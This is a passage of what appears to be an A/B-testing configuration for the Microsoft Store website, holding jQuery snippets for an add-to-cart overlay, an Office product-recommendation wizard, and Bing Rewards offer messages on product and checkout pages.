if($.inArray(pid, pidsVariation2) != -1){\n\t\tbuttonText = 'More sizes available';\n buttonClass = 'text-extended';\n\t}\n else if($.inArray(pid, pidsVariation3) != -1){\n\t\tbuttonText = 'More options available';\n buttonClass = 'text-extended';\n\t} \n\telse{\n\t\tbuttonText = 'Add to cart';\n\t};\n\t\n\treturn '
    ' + buttonText + '
    ';\n};\t\n\nfunction productSlider(){\n\n jQuery('.product').each(function(){\n if(!jQuery('.exp-cartoverlay', this).length){\n $(this).append('
    ' + returnProductSliderToRender($(this).attr('pid-ref')) + '
    ');\n };\n });\n}; \n\n\nproductSlider();\n\njQuery(document).ajaxComplete(function() {\n productSlider();\n}); \n\n//Expandable icon\njQuery('body').on('click.expandcarticon', 'a.product .exp-buttonslider', function(){\n $(this).closest('.exp-cartoverlay').toggleClass('opened');\n});\n\n//Exp cart button\njQuery('body').on('click.expandredirect', 'a.product .exp-addtocart .exp-listbutton', function(){\n window.location = $(this).data('href');\n});\n\n\n//Prevent click on add to cart area\nvar mouseOverCart = false;\n\njQuery('body').on('mouseenter','.exp-cartoverlay', function(){\n\tmouseOverCart = true;\n});\n\njQuery('body').on('mouseleave','.exp-cartoverlay', function(){\n\tmouseOverCart = false;\n});\n\njQuery('body').on('click.expandcartpreventredirect','a.product', function(e){\n\tif(mouseOverCart){\n\t\te.preventDefault();\n\t};\n});"},"2429870480":{},"2005711251":{},"2593750420":{},"2583090072":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2620610031":{"code":"$(function(){\n $('body').addClass('exp-rr-star-color-var1');\n});"},"2450940320":{},"2140210082":{"code":"var arrayProductObj = [\n{\n sku: '6NU-00001',\n title: 'Forza Horizon 2 for Xbox One'\n},\n {\n sku: 'CWF-01852',\n title: 'HP Stream 14-z010nr Signature Edition Laptop'\n },\n{\n sku: 'CWF-01825',\n title: 'Toshiba Encore Mini WT7-C16MS Signature Edition Tablet'\n}\n];\n\nvar currentPage,\n currentProductHref = '',\n obj,\n sku,\n cartItemWrapper,\n currentProductId,\n matchedProductFound = false;\n\nif (location.href.toLowerCase().search(\"threepgcheckoutshoppingcartpage\") != -1) {\n currentPage = 'cart';\n cartPage();\n}\n\nif (location.href.toLowerCase().search(\"threepgcheckoutconfirmorderpage\") != -1 || location.href.toLowerCase().search(\"displaythreepgcheckoutaddresspaymentinfopage\") != -1) {\n currentPage = 'review';\n reviewPage();\n}\n\nif (location.href.toLowerCase().search(\"thankyoupage\") != -1) {\n currentPage = 'thank-you';\n thankYouPage();\n}\n\nfunction cartPage() {\n $('.cart-item').each(function () {\n productTitle = jQuery('.title', this).text();\n\n var i = '';\n for (i = 0; i < arrayProductObj.length; i++) {\n if (arrayProductObj[i].title == productTitle) {\n cartItemWrapper = jQuery(this).find('.product-wrapper');\n jQuery(cartItemWrapper.attr('data-rewardspid', productTitle));\n jQuery(cartItemWrapper.attr('data-rewardssku', arrayProductObj[i].sku));\n\n matchedProductFound = true;\n return;\n }\n }\n });\n}\n\nfunction reviewPage() {\n $('.order-item').each(function () {\n productTitle = jQuery(this).find('.item p:first-child').text();\n\n var i = '';\n for (i = 0; i < arrayProductObj.length; i++) {\n if (arrayProductObj[i].title == productTitle) {\n cartItemWrapper = jQuery(this).find('.item');\n jQuery(cartItemWrapper.attr('data-rewardspid', productTitle));\n jQuery(cartItemWrapper.attr('data-rewardssku', arrayProductObj[i].sku));\n\n matchedProductFound = true;\n return;\n }\n }\n\n\n });\n}\n\nfunction thankYouPage() {\n $('.complete-order-item').each(function () {\n productTitle = jQuery(this).find('.title p:first-child').text();\n\n var i = '';\n for (i = 0; i < arrayProductObj.length; i++) {\n if (arrayProductObj[i].title == productTitle) {\n\n var cartItemWrapper = jQuery(this).find('.item'),\n clearFloat = jQuery(cartItemWrapper).find('.clearfloat'),\n alreadyMember = jQuery('.already-member .bulleted-list');\n\n jQuery(cartItemWrapper.attr('data-rewardspid', productTitle));\n jQuery(cartItemWrapper.attr('data-rewardssku', arrayProductObj[i].sku));\n\n clearFloat.remove();\n\n // jQuery(\"
  • If you purchased a qualifying product, you will get your Bing Rewards credits within 5 days of your product shipping.
  • \").appendTo(alreadyMember);\n\n matchedProductFound = true;\n return;\n }\n }\n });\n}\n\nif (matchedProductFound) {\n getRewardsUserInfo(loadCreditsOffer);\n}\n\nfunction getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n}\n\nfunction getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n}\n\nfunction crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n}\n\nfunction tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n}\n\nfunction loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n obj = user.Offers[i];\n\n if (obj.Attributes.MSStoreSku) {\n jQuery.each(arrayProductObj, function (i) {\n\n if (obj.Attributes.MSStoreSku == arrayProductObj[i].sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n displayOfferOnCartItem(offerTitle, offerDescription, arrayProductObj[i].sku);\n }\n\n });\n\n\n }\n }\n }\n}\n\nfunction displayOfferOnCartItem(title, desc, sku) {\n var html = \"

    {0} {1} Learn more >

    \";\n var learnUrl = \"http://www.microsoftstore.com/store/msusa/html/pbPage.Rewards#earnpoints\";\n\n html = html.replace(\"{0}\", title);\n html = html.replace(\"{1}\", desc);\n html = html.replace(\"{2}\", learnUrl);\n\n var productWrapper;\n\n if (currentPage == 'cart') {\n productWrapper = jQuery(\".product-details\").find(\"[data-rewardssku='\" + sku + \"']\");\n } else if (currentPage == 'review') {\n productWrapper = jQuery(\".order-item\").find(\"[data-rewardssku='\" + sku + \"']\");\n } else if (currentPage == 'thank-you') {\n productWrapper = jQuery(\".complete-order-item\").find(\"[data-rewardssku='\" + sku + \"']\");\n }\n\n jQuery(html).appendTo(productWrapper);\n\n var rewardsMessagingClass = jQuery('.rewards-points-product'),\n rewardsMessagingIconClass = rewardsMessagingClass.find('.rewards-icon'),\n rewardsMessagingPTag = rewardsMessagingClass.find('p'),\n rewardsMessagingATag = rewardsMessagingPTag.find('a');\n\n rewardsMessagingClass.css({\n 'display': 'table',\n 'margin-top': '10px',\n 'margin-bottom': '10px'\n });\n\n rewardsMessagingIconClass.css({\n 'display': 'block',\n 'height': '1.9375em',\n 'width': '1.5625em',\n 'margin-top': '0.25em',\n 'background': 'url(http://dri1.img.digitalrivercontent.net/Storefront/Site/mscommon/pb/images/rewards_icon_sprite.png)',\n 'background-position': '0 0',\n 'background-repeat': 'no-repeat'\n });\n\n rewardsMessagingPTag.css({\n 'display': 'table-cell',\n 'vertical-align': 'middle',\n 'font-size': '0.8125em',\n 'line-height': '1.375em',\n 'padding-left': '0.9230769231em'\n });\n\n rewardsMessagingATag.css('white-space', 'nowrap');\n}"},"2501941147":{"code":"jQuery('body').addClass('experiment-officewizard');\n\n//Trim down table header\njQuery('section.compare-table .exp-comparetable tbody tr:eq(0)').hide();\njQuery('section.compare-table .exp-comparetable .exp-buybox').prepend('

    Choose the version that\\'s right for you

    ');\n\n//Append col cover to all td elements\njQuery('.exp-comparetable td').each(function(){\n jQuery(this).wrapInner('
    ');\n jQuery('.col-wrap', this).append('
    ');\n});\n\n//Hide cover on mouse enter\njQuery('.exp-comparetable tr td').on('mouseenter.hide', function(){\n var _index = $(this).closest('td').index();\n \n jQuery('.exp-comparetable tr').each(function(){\n\t jQuery('td:eq(' + _index + ') .col-cover', this).addClass('disable-override')\n });\n\n}).on('mouseleave.show', function(){\n jQuery('.exp-comparetable tr td .col-cover').removeClass('disable-override');\n});\n\nfunction recommendRow(rownumbers){\n\tvar rowNumbers = rownumbers.split(','),\n \t\tstandardRows = [1,2,3,4,5,6],\n\t\ttmpRowValue,\n\t\tfoundValue,\n\t\ti,x;\n \n //Remove any previously recommended items\n jQuery('.we-recommend .recommend, .exp-buybox .recommend', '.exp-comparetable').removeClass('recommend');\n\t\n for(i = 0; i < rowNumbers.length; i++){\n\t\t//Update current items\n\t\tjQuery('.we-recommend td:eq(' + jQuery.trim(rowNumbers[i]) + '), .exp-buybox td:eq(' + jQuery.trim(rowNumbers[i]) + ')', '.exp-comparetable').addClass('recommend');\n\t\t\n\t\tfoundValue = jQuery.inArray(parseFloat(rowNumbers[i]), standardRows);\n\t\t\n\t\tif(foundValue != -1){\n\t\t\tstandardRows.splice(foundValue, 1);\n\t\t};\n };\n \n //Remove any previously disabled fields\n jQuery('.exp-comparetable td .col-cover.disable').removeClass('disable');\n \n \n //Mark rows to disable\n for(x = 0;x < standardRows.length; x++){\n jQuery('.exp-comparetable tr').each(function(){\n $('td:eq(' + standardRows[x] + ') .col-cover', this).addClass('disable');\n });\n };\n \n \n //Reset cols\n $('.exp-comparetable .we-recommend td').each(function(){\n\t\t$(this).prop('colspan', '1').removeClass('marked adjust-col').removeAttr('style');\n });\n \n //Combine cols as needed\n $('.exp-comparetable .we-recommend td.recommend').each(function(){\n if($(this).next('td').hasClass('recommend')){\n var siblings = $('.exp-comparetable .we-recommend td.recommend:not(.marked):eq(0)').nextUntil(':not(.recommend)').length;\n\n $('.exp-comparetable .we-recommend td.recommend:not(.marked):eq(0)').prop('colspan', (siblings + 1)).addClass('adjust-col');\n\n $('.exp-comparetable .we-recommend td.recommend:not(.marked):eq(0)').nextUntil(':not(.recommend)').css('display','none');\n }\n else{\n $(this).addClass('marked');\n }\n }); \n};\n\n\n/* We Recommend Headings */\njQuery('.exp-comparetable tbody').prepend(['',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
    We recommend
    ',\n\t\t\t\t\t\t\t\t\t\t'
    We recommend
    ',\n\t\t\t\t\t\t\t\t\t\t'
    We recommend
    ',\n\t\t\t\t\t\t\t\t\t\t'
    We recommend
    ',\n\t\t\t\t\t\t\t\t\t\t'
    We recommend
    ',\n\t\t\t\t\t\t\t\t\t\t'
    We recommend
    ',\n\t\t\t\t\t\t\t\t\t''].join('\\n'));\n\n\n\n/* Wizard Boxes */\n$('section.compare-table').prepend('
    ');\n\n/* Title */\n$('.compare-table').prepend('

    Find your Office

    ');\n\nvar numberOfUsers = ['
    ',\n '
    ',\n '
    1
    ',\n '',\n '
    ',\n '
    ',\n '',\n '',\n '
    ',\n '
    ',\n '',\n '',\n '
    ',\n '
    '].join('\\n');\n\n$('#exp-wizard').append(numberOfUsers);\n\n\nvar whichDevices = ['
    ',\n '
    ',\n '
    2
    ',\n '',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    '].join('\\n');\n\n$('#exp-wizard').append(whichDevices);\n\n\nvar whichPrograms = ['
    ',\n '
    ',\n '
    3
    ',\n '',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'',\n \t'',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    '].join('\\n');\n\n$('#exp-wizard').append(whichPrograms);\n\n\n\n\n\n/* Custom Controls */\njQuery('.custom-radiobutton, .custom-radiobutton + label','.custom-radiobuttongroup').on('click.toggleradio', function(){\n\tvar _parent = jQuery(this).closest('.custom-radiobuttongroup'),\n\t\t_this = ($(this).hasClass('custom-radiobutton') ? $(this) : $(this).prev('.custom-radiobutton'));\n\t\n\tjQuery('.custom-radiobutton', _parent).removeClass('active');\n\t\n\t_this.addClass('active');\n\n});\n\njQuery('.custom-checkbox, .custom-checkbox + label').on('click.togglecheckbox', function(){\n\t_this = ($(this).hasClass('custom-checkbox') ? $(this) : $(this).prev('.custom-checkbox'));\n \n _this.toggleClass('active');\n});\n\n/* How Many Users Data Binding */\njQuery('.how-many-users.wizard-box .custom-radiobutton, .how-many-users.wizard-box .custom-radiobutton + label').on('click.togglesuggested', function(){\n\tvar _this = (jQuery(this).hasClass('custom-radiobutton') ? jQuery(this) : jQuery(this).prev('.custom-radiobutton')),\n\t\tselectedValue = _this.data('value');\n\t\t\n\t\tif(selectedValue == '5'){\n\t\t\trecommendRow('1');\n\t\t\tjQuery('.which-devices.wizard-box').removeClass('disabled');\n\t\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\n \n jQuery('.which-devices.wizard-box .custom-checkbox').addClass('active');\n\t\t\tjQuery('.which-programs.wizard-box .custom-checkbox').addClass('active');\n\t\t}\n\t\telse{\n\t\t\trecommendRow('2, 3, 4');\n\t\t\t\n\t\t\tjQuery('.which-devices.wizard-box').removeClass('disabled');\n \n jQuery('.which-devices.wizard-box .custom-checkbox').removeClass('active');\n\t\t\tjQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active'); \n\t\t\n\t\t};\n\n});\n\n\n/* Temp Logic To Show / Hide based on box #2 */\n/* How Many Users Data Binding */\nfunction updateDevicesGrid(){\n\tvar pcChecked = $('.which-devices.wizard-box .custom-checkbox.pc').hasClass('active'),\n\t\tmacChecked = $('.which-devices.wizard-box .custom-checkbox.mac').hasClass('active'),\n\t\ttabletChecked = $('.which-devices.wizard-box .custom-checkbox.tablet').hasClass('active'),\n\t\tsmartphoneChecked = $('.which-devices.wizard-box .custom-checkbox.smartphone').hasClass('active'),\n fiveUsersChecked = $('.how-many-users.wizard-box .custom-radiobutton.five').hasClass('active');\n\n /* If five users checked, don't do anything */\n if(fiveUsersChecked){\n \treturn false; \n }\n\t\n\tif(\n\t\tpcChecked &&\n\t\t!macChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked\n\t){ //PC Only\n\t\trecommendRow('2, 3, 4');\n\n\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\t\n\n\t\tjQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\t\t\t\n\t}\n\telse if(\n\t\ttabletChecked &&\n\t\t!pcChecked &&\n\t\t!macChecked &&\n\t\t!smartphoneChecked\n\t){ //Tablet Only\n\t\trecommendRow('2');\n\n\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\n \n jQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\n\n\t}\n\telse if(\n\t\tsmartphoneChecked &&\n\t\t!macChecked ||\n\t\tpcChecked &&\n\t\ttabletChecked ||\n\t\tpcChecked &&\n\t\ttabletChecked &&\n\t\tsmartphoneChecked &&\n\t\t!macChecked\n\t){ //SmartPhone, PC and/or Tablet\n\t\trecommendRow('2');\n\n\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\n \n jQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\n\n\t}\n\telse if(\n\t\tmacChecked &&\n\t\t!smartphoneChecked &&\n\t\t!pcChecked &&\n\t\t!tabletChecked\n\t){ //Mac Only\n\t\trecommendRow('2,5,6');\n\t\n\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\n\t\t\n\t\tjQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\n\n\t}\n\telse if(\n\t\tmacChecked &&\n\t\ttabletChecked &&\n\t\t!pcChecked ||\n\t\tmacChecked &&\n\t\ttabletChecked &&\n\t\tsmartphoneChecked &&\n\t\t!pcChecked ||\t\t\t\n \tmacChecked &&\n\t\tsmartphoneChecked &&\n\t\t!pcChecked\t\t\n\t\n\t){ //Mac, Tablet and/or Smartphone\n\t\trecommendRow('2');\n\t\t\n\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\n\t\t\n\t\tjQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\n\t}\n\telse if(\n\t\tmacChecked &&\n\t\tpcChecked\n\t){\n\t\trecommendRow('1');\n\t\t\n\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\n \n\t\tjQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\n\n\t}\n\telse if(\n\t\t!pcChecked &&\n\t\t!macChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked\t\t\n\t){\n\t\trecommendRow('2,3,4');\n\t\t\n\t\tjQuery('.which-programs.wizard-box').addClass('disabled');\n\t\t\n\t\tjQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\n\t}\n\telse if(\n\t\tpcChecked &&\n\t\tmacChecked &&\n\t\ttabletChecked &&\n\t\tsmartphoneChecked\t\t\n\t){\n\t\trecommendRow('1');\n\t\t\n\t\tjQuery('.which-programs.wizard-box').removeClass('disabled');\n\t\t\n\t\tjQuery('.which-programs.wizard-box .custom-checkbox').removeClass('active');\n\t}\n};\n\njQuery('.which-devices.wizard-box .custom-checkbox, .which-devices.wizard-box .custom-checkbox + label').on('click.togglesuggested', function(){\n\tvar _this = (jQuery(this).hasClass('custom-checkbox') ? jQuery(this) : jQuery(this).prev('.custom-checkbox')),\n\t\tselectedValue = _this.data('value');\n\t\t\n\t\tupdateDevicesGrid();\n});\n\n\nfunction updateProgramsGrid(){\nvar pcChecked = $('.which-devices.wizard-box .custom-checkbox.pc').hasClass('active'),\n\t\tmacChecked = $('.which-devices.wizard-box .custom-checkbox.mac').hasClass('active'),\n\t\ttabletChecked = $('.which-devices.wizard-box .custom-checkbox.tablet').hasClass('active'),\n\t\tsmartphoneChecked = $('.which-devices.wizard-box .custom-checkbox.smartphone').hasClass('active'),\n\t\twordExcelPptChecked = $('.which-programs.wizard-box .custom-checkbox.word-excel-powerpoint').hasClass('active'),\n\t\toutlookChecked = $('.which-programs.wizard-box .custom-checkbox.outlook').hasClass('active'),\n\t\tpublisherChecked = $('.which-programs.wizard-box .custom-checkbox.publisher').hasClass('active'),\n\t\taccessChecked = $('.which-programs.wizard-box .custom-checkbox.access').hasClass('active'),\n fiveUsersChecked = $('.how-many-users.wizard-box .custom-radiobutton.five').hasClass('active');\n\n /* If five users checked, don't do anything */\n if(fiveUsersChecked){\n \treturn false; \n }\n\t\n\tif(\n\t\tpcChecked &&\n\t\t!macChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\n\t\toutlookChecked &&\n\t\t!wordExcelPptChecked &&\n\t\t!publisherChecked &&\n\t\t!accessChecked\n\t){\n\t\trecommendRow('2,4');\n\t}\n\telse if(\n\t\tpcChecked &&\n\t\t!macChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\t\t\n\t\twordExcelPptChecked ||\n\t\tpcChecked &&\n\t\t!macChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\t\t\n\t\tpublisherChecked ||\n\t\tpcChecked &&\n\t\t!macChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\t\t\n\t\taccessChecked\n\t){\n\t\trecommendRow('2');\n\t}\n\telse if(\n\t\tmacChecked &&\n\t\t!pcChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\n\t\toutlookChecked &&\n\t\t!wordExcelPptChecked &&\n\t\t!publisherChecked &&\n\t\t!accessChecked\n\t){\n\t\trecommendRow('2,6');\n\t}\n\telse if(\n\t\tmacChecked &&\n\t\t!pcChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\t\t\n\t\twordExcelPptChecked ||\n\t\tmacChecked &&\n\t\t!pcChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\t\t\n\t\tpublisherChecked ||\n\t\tmacChecked &&\n\t\t!pcChecked &&\n\t\t!tabletChecked &&\n\t\t!smartphoneChecked &&\t\t\n\t\taccessChecked\n\t){\n\t\trecommendRow('2');\n\t}\t\n\telse if(\n\t\t!wordExcelPptChecked &&\n\t\t!outlookChecked &&\n\t\t!publisherChecked &&\n\t\t!accessChecked\n\t){\n\t\tupdateDevicesGrid();\n\t}\n};\n\n/* Programs Click Events */\njQuery('.which-programs.wizard-box .custom-checkbox, .which-programs.wizard-box .custom-checkbox + label').on('click.togglesuggested', function(){\n\tvar _this = (jQuery(this).hasClass('custom-checkbox') ? jQuery(this) : jQuery(this).prev('.custom-checkbox')),\n\t\tselectedValue = _this.data('value');\n\t\t\n\tupdateProgramsGrid();\t\n});\t\t\t\n\n/* Add ICID tracking to links */\njQuery(\".exp-buybox td:eq(1) a\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.286395000?icid=wizard_home\"});\njQuery(\".exp-buybox td:eq(2) a\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.297833200?icid=wizard_personal\"});\njQuery(\".exp-buybox td:eq(3) a\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259179500?icid=wizard_HS\"});\njQuery(\".exp-buybox td:eq(4) a\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259321600?icid=wizard_HB\"});\njQuery(\".exp-buybox td:eq(5) a\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Student-2011/productID.253736200?icid=wizard_MacHS\"});\njQuery(\".exp-buybox td:eq(6) a\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Business-2011/productID.253736100?icid=wizard_MacHB\"});"},"2396680195":{},"2225500071":{"code":"var sku = \"6NU-00001\";\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\n var html = \"
    \\n \\n

    {0} {1}
    Not a member? Sign-up during checkout

    \";\n html = html.replace(\"{0}\", title);\n html = html.replace(\"{1}\", desc);\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n if(jQuery(\"#physicalxboxoneenglish .buySpan_AddtoCart\").length > 0){\n\t\t\t\t\t\tjQuery(\"#physicalxboxoneenglish .buySpan_AddtoCart\").append(html);\n }\n else{\n jQuery(\".buySpan_AddtoCart\").append(html);\n }\n \n var rewardsTabHtml = \"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \";\n \n if(jQuery(\".product-tab-content\").length == 1){\n jQuery(\".product-tab-content\").append(rewardsTabHtml);\n }\n else{\n jQuery(\".product-tab-content\").eq(1).append(rewardsTabHtml);\n }\n }\n\n\n\n getRewardsUserInfo(loadCreditsOffer);"},"2437890473":{"code":"$('html').addClass('exp-bandtemplate');\n\nvar mediaMatchesClientWidth;\nvar expGetClientWidth = function () {\n var width;\n var document = window.document;\n var documentElement = document.documentElement;\n if (window.innerWidth === undefined) {\n // IE6 & IE7 don't have window.innerWidth\n width = documentElement.clientWidth;\n }\n else if (window.innerWidth > documentElement.clientWidth) {\n // WebKit doesn't include scrollbars while calculating viewport width so we have to get fancy\n\n\n if (mediaMatchesClientWidth === undefined) {\n\n // Insert markup to test if a media query will match document.doumentElement.clientWidth\n var bodyElement = document.createElement(\"body\");\n bodyElement.id = \"vpw-test-b\";\n bodyElement.style.cssText = \"overflow:scroll\";\n var divElement = document.createElement(\"div\");\n divElement.id = \"vpw-test-d\";\n divElement.style.cssText = 